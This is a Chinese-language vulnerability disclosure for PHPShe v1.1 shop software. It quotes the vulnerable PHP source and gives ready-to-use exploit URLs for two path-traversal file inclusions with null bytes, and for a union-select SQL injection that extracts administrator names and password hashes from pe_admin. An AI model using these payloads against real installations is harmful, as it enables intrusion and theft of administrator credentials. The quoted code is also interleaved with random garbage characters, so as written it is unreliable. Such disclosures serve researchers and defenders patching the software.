phpshe v1.1多处SQL注入和文件包含漏洞Getshell

admin

/*******************************************************/
- R5 u% B+ q2 ?7 @, @/* Phpshe v1.1 Vulnerability
" v/ ?5 h# P% N( s% D/* ========================
$ ^) K4 L/ `4 u4 y/ Z6 u/* By: : Kn1f3
) }1 |0 E) M- F$ ^/ T" O. V, A/* E-Mail : 681796@qq.com
$ u: O2 v+ i' `/*******************************************************/
0×00 整体大概参数传输
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//common.php
  v- Y; q# C$ K5 d, S* xif (get_magic_quotes_gpc()) {
5 j5 O# |% F! P6 M8 j!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
}
( T, r& H6 P. D  H; welse {
" o9 A( ?. K' I1 A7 K6 Z3 j- B; v!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
5 z! Z  G% {( n" a4 S/ x4 Q! w!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
}
4 K+ D1 i2 o1 F+ p2 M2 `session_start();
- D* i0 t) K8 j. E$ f: U!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
0 n! r2 a0 p0 b% L!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
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0×01 包含漏洞

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//首页文件
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
& U" A# x( {; `- Minclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
pe_result();
( t2 q* W+ V  f2 }" w" o; A?>
//common 文件 第15行开始
url路由配置
) t# e; N/ _$ P5 n$module = $mod = $act = 'index';
, X, f5 \+ I4 ]5 a6 e8 n: C$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
9 W0 A6 H, d$ S. \' v* q8 G$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
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0×02 搜索注入
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( ?' y9 P0 G2 R<code id="code2">

//product.php文件
case 'list':
  i5 k3 y! @; U$ ?$ `$category_id = intval($id);
, G$ X5 d& I, b9 e$info = $db->pe_select('category', array('category_id'=>$category_id));
//搜索
! }' |4 m2 Y1 ?8 w$ i* j$sqlwhere = " and `product_state` = 1";
pe_lead('hook/category.hook.php');
if ($category_id) {
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
}
; H) Y" D: P& i4 }2 q! R' N: V. l8 z$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
if ($_g_orderby) {
$orderby = explode('_', $_g_orderby);
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
}
  V4 s3 ^( v, f1 Y5 b: T; ?else {
$sqlwhere .= " order by `product_id` desc";
& E" t& e# i8 f- k}
& ^( b8 L+ z4 C) r8 h3 R$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
9 s! s8 p7 S5 {( z8 W//热卖排行
+ m0 Y9 u$ A- b+ B* p6 ?! j, w$product_hotlist = product_hotlist();
+ W  Y+ y% _4 U//当前路径
" x) y2 _; l7 X$nowpath = category_path($category_id);
/ O( |7 |' f  V- r4 H" U$seo = pe_seo($info['category_name']);
* ~" r. Y# l/ @' D# u2 q! J$ Z! sinclude(pe_tpl('product_list.html'));
* o" s4 a0 {. P//跟进selectall函数库
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
! C; f5 ^3 c* c6 a& Y. v{
- T' _1 X+ U# o* u% C+ C* d! `//处理条件语句
$sqlwhere = $this->_dowhere($where);
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
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8 q. X1 R; z7 D; L//exp
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
0 A3 ]: y8 v- }3 Y3 |+ Y# i

</code>

, @. ~: @3 ]7 w) m' e0×03 包含漏洞2
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<code id="code3">

//order.php

case 'pay':

( L5 T& X! m: K$order_id = pe_dbhold($_g_id);

$cache_payway = cache::get('payway');

foreach($cache_payway as $k => $v) {

$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

if ($k == 'bank') {

$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

( C8 S' Q7 B7 X8 ]+ ~7 ]}

( _) z1 q4 \5 E9 P& b}

( V3 K% t# g8 T' Z$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

7 V5 D; S$ Z, ]1 ~& O# y" c5 G!$order['order_id'] && pe_error('订单号错误...');

if (isset($_p_pesubmit)) {

; e; l  P) T# x) A& ~if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

8 M3 O$ e2 O7 G$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

foreach ($info_list as $v) {

$order['order_name'] .= "{$v['product_name']};";
* B2 N5 h" T% U+ n4 l3 m9 B: ^

}

6 l# J" ^/ P& z. ?8 E2 ]4 Eecho '正在为您连接支付网站，请稍后...';

include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

}//当一切准备好的时候就可以进行"鸡肋包含了"

3 ]" h0 K% J# b/ [1 L1 zelse {

: S9 g* ?( S1 @! q. }3 \* ipe_error('支付错误...');

}

! v0 R( _, z" l}

& C7 B& p0 n) e0 e$ e6 e8 Y$seo = pe_seo('选择支付方式');

include(pe_tpl('order_pay.html'));

break;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>